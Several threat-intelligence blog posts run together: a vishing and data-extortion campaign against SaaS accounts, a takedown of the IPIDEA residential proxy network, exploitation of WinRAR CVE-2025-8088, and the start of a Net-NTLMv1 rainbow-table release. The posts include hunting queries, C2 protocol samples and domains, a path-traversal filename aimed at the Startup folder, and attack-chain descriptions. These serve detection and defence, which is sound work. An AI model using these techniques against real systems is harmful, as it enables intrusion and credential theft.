  "ApplicationDisplayName": "Microsoft Office",
  "SiteUrl": "[REDACTED_URL]",
  "ObjectId": "[REDACTED_URL]/[REDACTED_FILENAME]"
}

Figure 2: SharePoint/M365 log example

"Login","20260120163111.430","SLB:[REDACTED]","[REDACTED]","[REDACTED]","192","25","/index.jsp","","1jVcuDh1VIduqg10","Standard","","167158288","5","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/IP_ADDRESS_REMOVED Safari/537.36","","9998.0","user@[REDACTED_DOMAIN].com","TLSv1.3","TLS_AES_256_GCM_SHA384","","https://[REDACTED_IDP_DOMAIN]/","[REDACTED].my.salesforce.com","CA","","","0LE1Q000000LBVK","2026-01-20T16:31:11.430Z","[REDACTED]","76.64.54[.]159","","LOGIN_NO_ERROR","76.64.54[.]159",""

Figure 3: Salesforce log example

{
  "Timestamp": "2026-01-21T12:5:2-03:00",
  "Timestamp UTC": "[REDACTED]",
  "Event Name": "User downloads documents from an envelope",
  "Event Id": "[REDACTED_EVENT_ID]",
  "User": "[REDACTED]@example.com",
  "User Id": "[REDACTED_USER_ID]",
  "Account": "[REDACTED_ORG_NAME]",
  "Account Id": "[REDACTED_ACCOUNT_ID]",
  "Integrator Key": "[REDACTED_KEY]",
  "IP Address": "73.135.228[.]98",
  "Latitude": "[REDACTED]",
  "Longitude": "[REDACTED]",
  "Country/Region": "United States",
  "State": "Maryland",
  "City": "[REDACTED]",
  "Browser": "Chrome 143",
  "Device": "Apple Mac",
  "Operating System": "Mac OS X 10",
  "Source": "Web",
  "DownloadType": "Archived",
  "EnvelopeId": "[REDACTED_ENVELOPE_ID]"
}

Figure 4: Docusign log example

In at least one incident where the threat actor gained access to an Okta customer account, UNC6661 enabled the ToogleBox Recall add-on for the victim's Google Workspace account, a tool designed to search for and permanently delete emails. They then deleted a "Security method enrolled" email from Okta, almost certainly to prevent the employee from identifying that their account was associated with a new MFA device.

{
  "Date": "2026-01-11T06:3:00Z",
  "App ID": "[REDACTED_ID].apps.googleusercontent.com",
  "App name": "ToogleBox Recall",
  "OAuth event": "Authorize",
  "Description": "User authorized access to ToogleBox Recall for specific Gmail and Apps Script scopes.",
  "User": "user@[REDACTED_DOMAIN].com",
  "Scope": "https://www.googleapis.com/auth/gmail.addons.current.message.readonly, https://www.googleapis.com/auth/gmail.addons.execute, https://www.googleapis.com/auth/script.external_request, https://www.googleapis.com/auth/script.locale, https://www.googleapis.com/auth/userinfo.email",
  "API name": "",
  "Method": "",
  "Number of response bytes": "0",
  "IP address": "149.50.97.144",
  "Product": "Gmail, Apps Script Runtime, Apps Script Api, Identity, Unspecified",
  "Client type": "Web",
  "Network info": "{\n  \"Network info\": {\n    \"IP ASN\": \"201814\",\n    \"Subdivision code\": \"\",\n    \"Region code\": \"PL\"\n  }\n}"
}

Figure 5: ToogleBox Recall auth log entry example

In at least one case, after conducting the initial data theft, UNC6661 used their newly obtained access to compromised email accounts to send additional phishing emails to contacts at cryptocurrency-focused companies. The threat actor then deleted the outbound emails, likely in an attempt to obfuscate their malicious activity.

GTIG attributes the subsequent extortion activity following UNC6661 intrusions to UNC6240, based on several overlaps, including the use of a common Tox account for negotiations, ShinyHunters-branded extortion emails, and Limewire to host samples of stolen data. In mid-January 2026 extortion emails, UNC6240 outlined what data they allegedly stole, specifying a payment amount and destination BTC address, and threatening consequences if the ransom was not paid within 72 hours, which is consistent with prior extortion emails (Figure 6). They also provided proof of data theft via samples hosted on Limewire. GTIG also observed extortion text messages sent to employees and received reports of victim websites being targeted with distributed denial-of-service (DDoS) attacks.

Notably, in late January 2026 a new ShinyHunters-branded DLS named "SHINYHUNTERS" emerged listing several alleged victims who may have been compromised in these most recent extortion operations. The DLS also lists contact information (shinycorp@tutanota[.]com, shinygroup@onionmail[.]com) that have previously been associated with UNC6240.

Similar Activity Conducted by UNC6671

Also beginning in early January 2026, UNC6671 conducted vishing operations masquerading as IT staff and directing victims to enter their credentials and MFA authentication codes on a victim-branded credential harvesting site. The credential harvesting domains used the same structure as UNC6661, but were more often registered using Tucows. In at least some cases, the threat actors have gained access to Okta customer accounts. Mandiant has also observed evidence that UNC6671 leveraged PowerShell to download sensitive data from SharePoint and OneDrive. While many of these TTPs are consistent with UNC6661, an extortion email stemming from UNC6671 activity was unbranded and used a different Tox ID for further contact. The threat actors employed aggressive extortion tactics following UNC6671 intrusions, including harassment of victim personnel. The extortion tactics and difference in domain registrars suggests that separate individuals may be involved with these sets of activity.

Remediation and Hardening

Mandiant has published a comprehensive guide with proactive hardening and detection recommendations.

Outlook and Implications

This recent activity is similar to prior operations associated with UNC6240, which have frequently used vishing for initial access and have targeted Salesforce data. It does, however, represent an expansion in the number and type of targeted cloud platforms, suggesting that the associated threat actors are modifying their operations to gather more sensitive data for extortion operations. Further, the use of a compromised account to send phishing emails to cryptocurrency-related entities suggests that associated threat actors may be building relationships with potential victims to expand their access or engage in other follow-on operations. Notably, this portion of the activity appears operationally distinct, given that it appears to target individuals instead of organizations.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

Phishing Domain Lure Patterns 

Threat actors associated with these clusters frequently register domains designed to impersonate legitimate corporate portals. At time of publication all identified phishing domains have been added to Chrome Safe Browsing. These domains typically follow specific naming conventions using a variation of the organization name:

Network Indicators

Many of the network indicators identified in this campaign are associated with commercial VPN services or residential proxy networks, including Mullvad, Oxylabs, NetNut, 9Proxy, Infatica, and nsocks. Mandiant recommends that organizations exercise caution when using these indicators for broad blocking and prioritize them for hunting and correlation within their environments.

Google Security Operations

Google Security Operations customers have access to these broad category rules and more under the Okta, Cloud Hacktool, and O365 rule packs. A walkthrough for operationalizing these findings within the Google Security Operations is available in Part Three of this series. The activity discussed in the blog post is detected in Google Security Operations under the rule names:

• Okta Admin Console Access Failure

• Okta Super or Organization Admin Access Granted

• Okta Suspicious Actions from Anonymized IP

• Okta User Assigned Administrator Role

• O365 SharePoint Bulk File Access or Download via PowerShell

• O365 SharePoint High Volume File Access Events

• O365 SharePoint High Volume File Download Events

• O365 Sharepoint Query for Proprietary or Privileged Information

• O365 Deletion of MFA Modification Notification Email

• Workspace ToogleBox Recall OAuth Application Authorized

 $e.metadata.product_name = "Okta"
    $e.metadata.product_event_type = /\.(add|update_|(policy.rule|zone)\.update|create|register|(de)?activate|grant|reset_all|user.session.access_admin_app)$/
    (
         $e.security_result.detection_fields["anonymized IP"] = "true" or
         $e.extracted.fields["debugContext.debugData.tunnels"] = /\"anonymous\":true/
    )
    $e.security_result.action = “ALLOW”

Figure 7: Hunting query for suspicious Okta actions conducted from anonymized IPs

$e.metadata.vendor_name = "Google Workspace"
   $e.metadata.event_type = "USER_RESOURCE_ACCESS"
   $e.metadata.product_event_type = "authorize"
   $e.target.resource.name = /ToogleBox Recall/ nocase

Figure 8: Hunting query for Google Workspace authorization events for ToogleBox Recall

$e.principal.ip_geo_artifact.network.organization_name = /mullvad.vpn|oxylabs|9proxy|netnut|infatica|nsocks/ nocase or
   $e.extracted.fields["debugContext.debugData.tunnels"] = /mullvad.vpn|oxylabs|9proxy|netnut|infatica|nsocks/ nocase

Figure 9: Hunting query for suspicious VPN / proxy services observed in this campaign

$e.network.http.user_agent = /Geny\s?Mobile/ nocase
   $event.security_result.action != "BLOCK"

Figure 10: Hunting query for suspicious user-agent string observed in this campaign

   $e.metadata.log_type = "OFFICE_365"   
  ($e.metadata.product_event_type = "FileDownloaded" or $e.metadata.product_event_type = "FileAccessed")
   (
     $e.target.application = "SharePoint" or
     $e.principal.application = "SharePoint"
   )
   $e.network.http.user_agent = /PowerShell/ nocase

Figure 11: Hunting query for programmatic file access or downloads from SharePoint where the User-Agent identifies as PowerShell

events:
   $e.metadata.log_type = "OFFICE_365"   
   $e.metadata.product_event_type = "FileAccessed"
   (
     $e.target.application = "SharePoint" or
     $e.principal.application = "SharePoint"
   )
   $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase
   $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
   $event.security_result.action != "BLOCK"
   $session_id = $e.network.session_id

 match:
    $session_id over 5m

outcome:
   $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
   $extension_count = count_distinct($file_extension_extract)

condition:
   $e and $target_url_count >= 50 and $extension_count >= 3

Figure 12: Hunting query for high volume document file access from SharePoint

events:
   $e.metadata.log_type = "OFFICE_365"   
   $e.metadata.product_event_type = "FileDownloaded"
   (
     $e.target.application = "SharePoint" or
     $e.principal.application = "SharePoint"
   )
   $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase
   $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
   $event.security_result.action != "BLOCK"
   $session_id = $e.network.session_id

 match:
    $session_id over 5m

outcome:
   $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
   $extension_count = count_distinct($file_extension_extract)

condition:
   $e and $target_url_count >= 50 and $extension_count >= 3

Figure 13: Hunting query for high volume document file downloads from SharePoint

$e.metadata.log_type = "OFFICE_365"   
   $e.metadata.product_event_type = "SearchQueryPerformed"
   $e.additional.fields["search_query_text"] = /\bpoc\b|proposal|confidential|internal|salesforce|vpn/ nocase

Figure 14: Hunting query for SharePoint queries for strings of interest

$e.metadata.log_type = "OFFICE_365"   
   $e.target.application = "Exchange"
   $e.metadata.product_event_type = /^(SoftDelete|HardDelete|MoveToDeletedItems)$/ nocase
   $e.network.email.subject = /new\s+(mfa|multi-|factor|method|device|security)|\b2fa\b|\b2-Step\b|(factor|method|device|security|mfa)\s+(enroll|registered|added|change|verify|updated|activated|configured|setup)/ nocase

   // filtering specifically for new device registration strings
   $e.network.email.subject = /enroll|registered|added|change|verify|updated|activated|configured|setup/ nocase
    
   // tuning out new device logon events
   $e.network.email.subject != /(sign|log)(-|\s)?(in|on)/ nocase

Figure 15: Hunting query for O365 Exchange deletion of MFA modification notification email

Introduction 

This week Google and partners took action to disrupt what we believe is one of the largest residential proxy networks in the world, the IPIDEA proxy network. IPIDEA’s proxy infrastructure is a little-known component of the digital ecosystem leveraged by a wide array of bad actors.

This disruption, led by Google Threat Intelligence Group (GTIG) in partnership with other teams, included three main actions:

1. Took legal action to take down domains used to control devices and proxy traffic through them.

2. Shared technical intelligence on discovered IPIDEA software development kits (SDKs) and proxy software with platform providers, law enforcement, and research firms to help drive ecosystem-wide awareness and enforcement. These SDKs, which are offered to developers across multiple mobile and desktop platforms, surreptitiously enroll user devices into the IPIDEA network. Driving collective enforcement against these SDKs helps protect users across the digital ecosystem and restricts the network's ability to expand.

3. These efforts to help keep the broader digital ecosystem safe supplement the protections we have to safeguard Android users on certified devices. We ensured Google Play Protect, Android’s built-in security protection, automatically warns users and removes applications known to incorporate IPIDEA SDKs, and blocks any future install attempts.

We believe our actions have caused significant degradation of IPIDEA’s proxy network and business operations, reducing the available pool of devices for the proxy operators by millions. Because proxy operators share pools of devices using reseller agreements, we believe these actions may have downstream impact across affiliated entities.

Dizzying Array of Bad Behavior Enabled by Residential Proxies

In contrast to other types of proxies, residential proxy networks sell the ability to route traffic through IP addresses owned by internet service providers (ISPs) and used to provide service to residential or small business customers. By routing traffic through an array of consumer devices all over the world, attackers can mask their malicious activity by hijacking these IP addresses. This generates significant challenges for network defenders to detect and block malicious activities.

A robust residential proxy network requires the control of millions of residential IP addresses to sell to customers for use. IP addresses in countries such as the US, Canada, and Europe are considered especially desirable. To do this, residential proxy network operators need code running on consumer devices to enroll them into the network as exit nodes. These devices are either pre-loaded with proxy software or are joined to the proxy network when users unknowingly download trojanized applications with embedded proxy code. Some users may knowingly install this software on their devices, lured by the promise of “monetizing” their spare bandwidth. When the device is joined to the proxy network, the proxy provider sells access to the infected device’s network bandwidth (and use of its IP address) to their customers. 

While operators of residential proxies often extol the privacy and freedom of expression benefits of residential proxies, Google Threat Intelligence Group’s (GTIG) research shows that these proxies are overwhelmingly misused by bad actors. IPIDEA has become notorious for its role in facilitating several botnets: its software development kits played a key role in adding devices to the botnets, and its proxy software was then used by bad actors to control them. This includes the BadBox2.0 botnet we took legal action against last year, and the Aisuru and Kimwolf botnets more recently. We also observe IPIDEA being leveraged by a vast array of espionage, crime, and information operations threat actors. In a single seven day period in January 2026, GTIG observed over 550 individual threat groups that we track utilizing IP addresses tracked as IPIDEA exit nodes to obfuscate their activities, including groups from China, DPRK, Iran and Russia. The activities included access to victim SaaS environments, on-premises infrastructure, and password spray attacks. Our research has found significant overlaps between residential proxy network exit nodes, likely because of reseller and partnership agreements, making definitive quantification and attribution challenging. 

In addition, residential proxies pose a risk to the consumers whose devices are joined to the proxy network as exit nodes. These users knowingly or unknowingly provide their IP address and device as a launchpad for hacking and other unauthorized activities, potentially causing them to be flagged as suspicious or blocked by providers. Proxy applications also introduce security vulnerabilities to consumers’ devices and home networks. When a user’s device becomes an exit node, network traffic that they do not control will pass through their device. This means bad actors can access a user’s private devices on the same network, effectively exposing security vulnerabilities to the internet. GTIG’s analysis of these applications confirmed that IPIDEA proxy did not solely route traffic through the exit node device, they also sent traffic to the device, in order to compromise it. While proxy providers may claim ignorance or close these security gaps when notified, enforcement and verification is challenging given intentionally murky ownership structures, reseller agreements, and diversity of applications.

The IPIDEA Proxy Network

Our analysis of residential proxy networks found that many well-known residential proxy brands are not only related but are controlled by the actors behind IPIDEA. This includes the following ostensibly independent proxy and VPN brands: 

• 360 Proxy (360proxy\.com)

• 922 Proxy (922proxy\.com)

• ABC Proxy (abcproxy\.com)

• Cherry Proxy (cherryproxy\.com)

• Door VPN (doorvpn\.com)

• Galleon VPN (galleonvpn\.com)

• IP 2 World (ip2world\.com)

• Ipidea (ipidea\.io)

• Luna Proxy (lunaproxy\.com)

• PIA S5 Proxy (piaproxy\.com)

• PY Proxy (pyproxy\.com)

• Radish VPN (radishvpn\.com)

• Tab Proxy (tabproxy\.com)

The same actors that control these brands also control several domains related to Software Development Kits (SDKs) for residential proxies. These SDKs are not meant to be installed or executed as standalone applications, rather they are meant to be embedded into existing applications. The operators market these kits as ways for developers to monetize their applications, and offer Android, Windows, iOS, and WebOS compatibility. Once developers incorporate these SDKs into their app, they are then paid by IPIDEA usually on a per-download basis.

Once the SDK is embedded into an application, it will turn the device it is running on into an exit node for the proxy network in addition to providing whatever the primary functionality of the application was. These SDKs are the key to any residential proxy network—the software they get embedded into provides the network operators with the millions of devices they need to maintain a healthy residential proxy network. 

While many residential proxy providers state that they source their IP addresses ethically, our analysis shows these claims are often incorrect or overstated. Many of the malicious applications we analyzed in our investigation did not disclose that they enrolled devices into the IPIDEA proxy network. Researchers have previously found uncertified and off-brand Android Open Source Project devices, such as television set top boxes, with hidden residential proxy payloads. 

The following SDKs are controlled by the same actors that control the IPIDEA proxy network:

• Castar SDK (castarsdk\.com)

• Earn SDK (earnsdk\.io)

• Hex SDK (hexsdk\.com)

• Packet SDK (packetsdk\.com)

Command-and-Control Infrastructure

We performed static and dynamic analysis on software that had SDK code embedded in it as well as standalone SDK files to identify the command-and-control (C2) infrastructure used to manage proxy exit nodes and route traffic through them. From the analysis we observed that EarnSDK, PacketSDK, CastarSDK, and HexSDK have significant overlaps in their C2 infrastructure as well as code structure.

Overview

The infrastructure model is a two-tier system: 

1. Tier One: Upon startup, the device will choose from a set of domains to connect to. The device sends some diagnostic information to the Tier One server and receives back a data payload that includes a set of Tier Two nodes to connect to.

2. Tier Two: The application will communicate directly with an IP address to periodically poll for proxy tasks. When it receives a proxy task it will establish a new dedicated connection to the Tier Two IP address and begin proxying the payloads it receives.

Tier One C2 Traffic

The device diagnostic information can be sent as HTTP GET query string parameters or in the HTTP POST body, depending on the domain and SDK. The payload sent includes a key parameter, which may be a customer identifier used to determine who gets paid for the device enrollment.

os=android&v=1.0.8&sn=993AE4FE78B879239BDC14DFBC0963CD&tag=OnePlus8Pro%23*%2311%23*%2330%23*%23QKR1.191246.002%23*%23OnePlus&key=cskfg9TAn9Jent&n=tlaunch

Figure 3: Sample device information send to Tier One server

The response from the Tier One server includes some timing information as well as the IP addresses of the Tier Two servers that this device should periodically poll for tasking.

{"code":200,"data":{"schedule":24,"thread":150,"heartbeat":20,"ip":[redacted],"info":"US","node":[{"net_type":"t","connect":"49.51.68.143:1000","proxy":"49.51.68.143:2000"},{"net_type":"t","connect":"45.78.214.188:800","proxy":"45.78.214.188:799"}]}

Figure 4: Sample response received from the Tier One Server

Tier Two C2 Traffic

The Tier Two servers are sent as connect and proxy pairs. In all analyses the pairs have been IP addresses, not domains. In our analysis, the pairs are the same IP address but different ports. The connect port is used to periodically poll for new proxy tasking. This is performed by sending TCP packets with encoded JSON payloads.

{"name": "0c855f87a7574b28df383eca5084fcdc", "o": "eDwSokuyOuMHcF10", "os": "windows"}

Figure 5: Sample encoded JSON sent to Tier Two connect port

When the Tier Two server has traffic to route to the device, it will respond back with the FQDN to proxy traffic to as well as a connection ID.

www.google.com:443&c8eb024c053f82831f2738bd48afc256

Figure 6: Sample proxy tasking from the Tier Two server

The device will then establish a connection to the proxy port of the same Tier Two server and send the connection ID, indicating that it is ready to receive data payloads.

8a9bd7e7a806b2cc606b7a1d8f495662|ok

Figure 7: Sample data sent from device to the Tier Two proxy port

The Tier Two server will then immediately send data payloads to be proxied. The device will extract the TCP data payload, establish a socket connection to the specified FQDN and send the payload, unmodified, to the destination. 

Overlaps in Infrastructure

The SDKs each have their own set of Tier One domains. This comes primarily from analysis of standalone SDK files. 

PacketSDK

• http://{random}.api-seed.packetsdk\.xyz

• http://{random}.api-seed.packetsdk\.net

• http://{random}.api-seed.packetsdk\.io

CastarSDK 

• dispatch1.hexsdk\.com

• cfe47df26c8eaf0a7c136b50c703e173\.com

• 8b21a945159f23b740c836eb50953818\.com

• 31d58c226fc5a0aa976e13ca9ecebcc8\.com

HexSDK

Download requests to files from the Hex SDK website redirect to castarsdk\.com. The SDKs are exactly the same.

EarnSDK

The EarnSDK JAR package for Android has strong overlaps with the other SDK brands analyzed. Earlier published samples contained the Tier One C2 domains:

• holadns\.com

• martianinc\.co

• okamiboss\.com

Of note, these domains were observed as part of the BadBox2.0 botnet and were sinkholed in our earlier litigation. Pivoting off these domains and other signatures, we identified some additional domains used as Tier One C2 domains: 

• v46wd6uramzkmeeo\.in

• 6b86b273ff34fce1\.online

• 0aa0cf0637d66c0d\.com

• aa86a52a98162b7d\.com

• 442fe7151fb1e9b5\.com

• BdRV7WlBszfOTkqF\.uk

Tier Two Nodes

Our analysis of various malware samples and the SDKs found a single shared pool of Tier Two servers. As of this writing there were approximately 7,400 Tier Two servers. The number of Tier Two nodes changes on a daily basis, consistent with a demand-based scaling system. They are hosted in locations around the globe, including the US. This indicates that despite different brand names and Tier One domains, the different SDKs in fact manage devices and proxy traffic through the same infrastructure.

Shared Sourcing of Exit Nodes

Trojanized Software Distribution

The IPIDEA actors also control domains that offer free Virtual Private Network services. While the applications do seem to provide VPN functionality, they also join the device to the IPIDEA proxy network as an exit node by incorporating Hex or Packet SDK. This is done without clear disclosures to the end user, nor is it the primary function of the application.

• Galleon VPN (galleonvpn\.com)

• Radish VPN (radishvpn\.com)

• Aman VPN (defunct)

Trojanized Windows Binaries

We identified a total of 3,075 unique Windows PE file hashes where dynamic analysis recorded a DNS request to at least one Tier One domain. A number of these hashes were for the monetized proxy exit node software, PacketShare. Our analysis also uncovered applications masquerading as OneDriveSync and Windows Update. These trojanized Windows applications were not distributed directly by the IPIDEA actors.

Android Application Analysis

We identified over 600 applications across multiple download sources with code connecting to Tier One C2 domains. These apps were largely benign in function (e.g., utilities, games, and content) but utilized monetization SDKs that enabled IPIDEA proxy behavior.

Our Actions

This week we took a number of steps designed to comprehensively dismantle as much of IPIDEA’s infrastructure as possible.

Protecting Devices

We took legal action to take down the C2 domains used by bad actors to control devices and proxy traffic. This protects consumer devices and home networks by disrupting the infrastructure at the source. 

To safeguard the Android ecosystem, we enforced our platform policies against trojanizing software, ensuring Google Play Protect on certified Android devices with Google Play services automatically warns users and removes applications known to incorporate IPIDEA software development kits (SDKs), and blocks any future install attempts.

Limiting IPIDEA’s Distribution

We took legal action to take down the domains used to market IPIDEA’s products, including proxy software and software development kits, across their various brands.

Coordinating with Industry Partners

We’ve shared our findings with industry partners to enable them to take action as well. We’ve worked closely with other firms, including Spur and Lumen’s Black Lotus Labs to understand the scope and extent of residential proxy networks and the bad behavior they often enable. We partnered with Cloudflare to disrupt IPIDEA’s domain resolution, impacting their ability to command and control infected devices and market their products. 

Call to Action

While we believe our actions have seriously impacted one of the largest residential proxy providers, this industry appears to be rapidly expanding, and there are significant overlaps across providers. As our investigation shows, the residential proxy market has become a "gray market" that thrives on deception—hijacking consumer bandwidth to provide cover for global espionage and cybercrime. More must be done to address the risks of these technologies. 

Empowering and Protecting the Consumer

Residential proxies are an understudied area of risk for consumers, and more can be done to raise awareness. Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for illicit proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to official app stores, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should be careful when purchasing connected devices, such as set top boxes, to make sure they are from reputable manufacturers. For example, to help you confirm whether or not a device is built with the official Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your Android device is Play Protect certified.

Proxy Accountability and Policy Reform

Residential proxy providers have been able to flourish under the guise of legitimate businesses. While some providers may indeed behave ethically and only enroll devices with the clear consent of consumers, any claims of "ethical sourcing" must be backed by transparent, auditable proof of user consent. Similarly, app developers have a responsibility to vet the monetization SDKs they integrate.

Industry Collaboration

We encourage mobile platforms, ISPs, and other tech platforms to continue sharing intelligence and implementing best practices to identify illicit proxy networks and limit their harms.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a comprehensive list of indicators of compromise (IOCs) in a GTI Collection for registered users.

Network Indicators

File Indicators

Example Hashes

Introduction 

The Google Threat Intelligence Group (GTIG) has identified widespread, active exploitation of the critical vulnerability CVE-2025-8088 in WinRAR, a popular file archiver tool for Windows, to establish initial access and deliver diverse payloads. Discovered and patched in July 2025, government-backed threat actors linked to Russia and China as well as financially motivated threat actors continue to exploit this n-day across disparate operations. The consistent exploitation method, a path traversal flaw allowing files to be dropped into the Windows Startup folder for persistence, underscores a defensive gap in fundamental application security and user awareness.

In this blog post, we provide details on CVE-2025-8088 and the typical exploit chain, highlight exploitation by financially motivated and state-sponsored espionage actors, and provide IOCs to help defenders detect and hunt for the activity described in this post.

To protect against this threat, we urge organizations and users to keep software fully up-to-date and to install security updates as soon as they become available. After a vulnerability has been patched, malicious actors will continue to rely on n-days and use slow patching rates to their advantage. We also recommend the use of Google Safe Browsing and Gmail, which actively identifies and blocks files containing the exploit.

Vulnerability and Exploit Mechanism

CVE-2025-8088 is a high-severity path traversal vulnerability in WinRAR that attackers exploit by leveraging Alternate Data Streams (ADS). Adversaries can craft malicious RAR archives which, when opened by a vulnerable version of WinRAR, can write files to arbitrary locations on the system. Exploitation of this vulnerability in the wild began as early as July 18, 2025, and the vulnerability was addressed by RARLAB with the release of WinRAR version 7.13 shortly after, on July 30, 2025.

The exploit chain often involves concealing the malicious file within the ADS of a decoy file inside the archive. While the user typically views a decoy document (such as a PDF) within the archive, there are also malicious ADS entries, some containing a hidden payload while others are dummy data.

The payload is written with a specially crafted path designed to traverse to a critical directory, frequently targeting the Windows Startup folder for persistence. The key to the path traversal is the use of the ADS feature combined with directory traversal characters. 

For example, a file within the RAR archive might have a composite name like innocuous.pdf:malicious.lnk combined with a malicious path: ../../../../../Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/malicious.lnk. 

When the archive is opened, the ADS content (malicious.lnk) is extracted to the destination specified by the traversal path, automatically executing the payload the next time the user logs in.

State-Sponsored Espionage Activity

Multiple government-backed actors have adopted the CVE-2025-8088 exploit, predominantly focusing on military, government, and technology targets. This is similar to the widespread exploitation of a known WinRAR bug in 2023, CVE-2023-38831, highlighting that exploits for known vulnerabilities can be highly effective, despite a patch being available.

Russia-Nexus Actors Targeting Ukraine

Suspected Russia-nexus threat groups are consistently exploiting CVE-2025-8088 in campaigns targeting Ukrainian military and government entities, using highly tailored geopolitical lures.

• UNC4895 (CIGAR): UNC4895 (also publicly reported as RomCom) is a dual financial and espionage-motivated threat group whose campaigns often involve spearphishing emails with lures tailored to the recipient. We observed subjects indicating targeting of Ukrainian military units. The final payload belongs to the NESTPACKER malware family (externally known as Snipbot).

• APT44 (FROZENBARENTS): This Russian APT group exploits CVE-2025-8088 to drop a decoy file with a Ukrainian filename, as well as a malicious LNK file that attempts further downloads.

• TEMP.Armageddon (CARPATHIAN): This actor, also targeting Ukrainian government entities, uses RAR archives to drop HTA files into the Startup folder. The HTA file acts as a downloader for a second stage. The initial downloader is typically contained within an archive packed inside an HTML file. This activity has continued through January 2026.

• Turla (SUMMIT): This actor adopted CVE-2025-8088 to deliver the STOCKSTAY malware suite. Observed lures are themed around Ukrainian military activities and drone operations.

China-Nexus Actors

• A PRC-based actor is exploiting the vulnerability to deliver POISONIVY malware via a BAT file dropped into the Startup folder, which then downloads a dropper.

Financially Motivated Activity

Financially motivated threat actors also quickly adopted the vulnerability to deploy commodity RATs and information stealers against commercial targets.

• A group that has targeted entities in Indonesia using lure documents used this vulnerability to drop a .cmd file into the Startup folder. This script then downloads a password-protected RAR archive from Dropbox, which contains a backdoor that communicates with a Telegram bot command and control.

• A group known for targeting the hospitality and travel sectors, particularly in LATAM, is using phishing emails themed around hotel bookings to eventually deliver commodity RATs such as XWorm and AsyncRAT.

• A group targeting Brazilian users via banking websites delivered a malicious Chrome extension that injects JavaScript into the pages of two Brazilian banking sites to display phishing content and steal credentials.

• In December and January 2026, we have continued to observe malware being distributed by cyber crime exploiting CVE-2025-8088, including commodity RATS and stealers. 

The Underground Exploit Ecosystem: Suppliers Like "zeroplayer"

The widespread use of CVE-2025-8088 by diverse actors highlights the demand for effective exploits. This demand is met by the underground economy where individuals and groups specialize in developing and selling exploits to a range of customers. A notable example of such an upstream supplier is the actor known as "zeroplayer," who advertised a WinRAR exploit in July 2025. 

The WinRAR vulnerability is not the only exploit in zeroplayer’s arsenal. Historically, and in recent months, zeroplayer has continued to offer other high-priced exploits that could potentially allow threat actors to bypass security measures. The actor’s advertised portfolio includes the following among others:

• In November 2025, zeroplayer claimed to have a sandbox escape RCE zero-day exploit for Microsoft Office advertising it for $300,000. 

• In late September 2025, zeroplayer advertised a RCE zero-day exploit for a popular, unnamed corporate VPN provider; the price for the exploit was not specified.

• Starting in mid-October 2025, zeroplayer advertised a zero-day Local Privilege Escalation (LPE) exploit for Windows listing its price as $100,000.

• In early September 2025, zeroplayer advertised a zero-day exploit for a vulnerability that exists in an unspecified drive that would allow an attacker to disable antivirus (AV) and endpoint detection and response (EDR) software; this exploit was advertised for $80,000.

zeroplayer’s continued activity as an upstream supplier of exploits highlights the continued commoditization of the attack lifecycle. By providing ready-to-use capabilities, actors such as zeroplayer reduce the technical complexity and resource demands for threat actors, allowing groups with diverse motivations—from ransomware deployment to state-sponsored intelligence gathering—to leverage a diverse set of capabilities.

Conclusion

The widespread and opportunistic exploitation of CVE-2025-8088 by a wide range of threat actors underscores its proven reliability as a commodity initial access vector. It also serves as a stark reminder of the enduring danger posed by n-day vulnerabilities. When a reliable proof of concept for a critical flaw enters the cyber criminal and espionage marketplace, adoption is instantaneous, blurring the line between sophisticated government-backed operations and financially motivated campaigns. This vulnerability’s rapid commoditization reinforces that a successful defense against these threats requires immediate application patching, coupled with a fundamental shift toward detecting the consistent, predictable post-exploitation TTPs.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

File Indicators

Written by: Nic Losby

Introduction

Mandiant is publicly releasing a comprehensive dataset of Net-NTLMv1 rainbow tables to underscore the urgency of migrating away from this outdated protocol. Despite Net-NTLMv1 being deprecated and known to be insecure for over two decades—with cryptanalysis dating back to 1999—Mandiant consultants continue to identify its use in active environments. This legacy protocol leaves organizations vulnerable to trivial credential theft, yet it remains prevalent due to inertia and a lack of demonstrated immediate risk.

By releasing these tables, Mandiant aims to lower the barrier for security professionals to demonstrate the insecurity of Net-NTLMv1. While tools to exploit this protocol have existed for years, they often required uploading sensitive data to third-party services or expensive hardware to brute-force keys. The release of this dataset allows defenders and researchers to recover keys in under 12 hours using consumer hardware costing less than $600 USD. This initiative highlights the amplified impact of combining Mandiant's frontline expertise with Google Cloud's resources to eliminate entire classes of attacks.

This post details the generation of the tables, provides access to the dataset for community use, and outlines critical remediation steps to disable Net-NTLMv1 and prevent authentication coercion attacks.

Background

Net-NTLMv1 has been widely known to be insecure since at least 2012, following presentations at DEFCON 20, with cryptanalysis of the underlying protocol dating back to at least 1999. On Aug. 30, 2016, Hashcat added support for cracking Data Encryption Standard (DES) keys using known plaintext, further democratizing the ability to attack this protocol. Rainbow tables are almost as old, with the initial paper on rainbow tables published in 2003 by Philippe Oechslin, citing an earlier iteration of a time-memory trade-off from 1980 by Martin Hellman.

Essentially, if an attacker can obtain a Net-NTLMv1 hash without Extended Session Security (ESS) for the known plaintext of 1122334455667788, a cryptographic attack, referred to as a known plaintext attack (KPA), can be applied. This guarantees recovery of the key material used. Since the key material is the password hash of the authenticating Active Directory (AD) object—user or computer—the attack results can quickly be used to compromise the object, often leading to privilege escalation.

A common chain attackers use is authentication coercion from a highly privileged object, such as a domain controller (DC). Recovering the password hash of the DC machine account allows for DCSync privileges to compromise any other account in AD.

Dataset Release

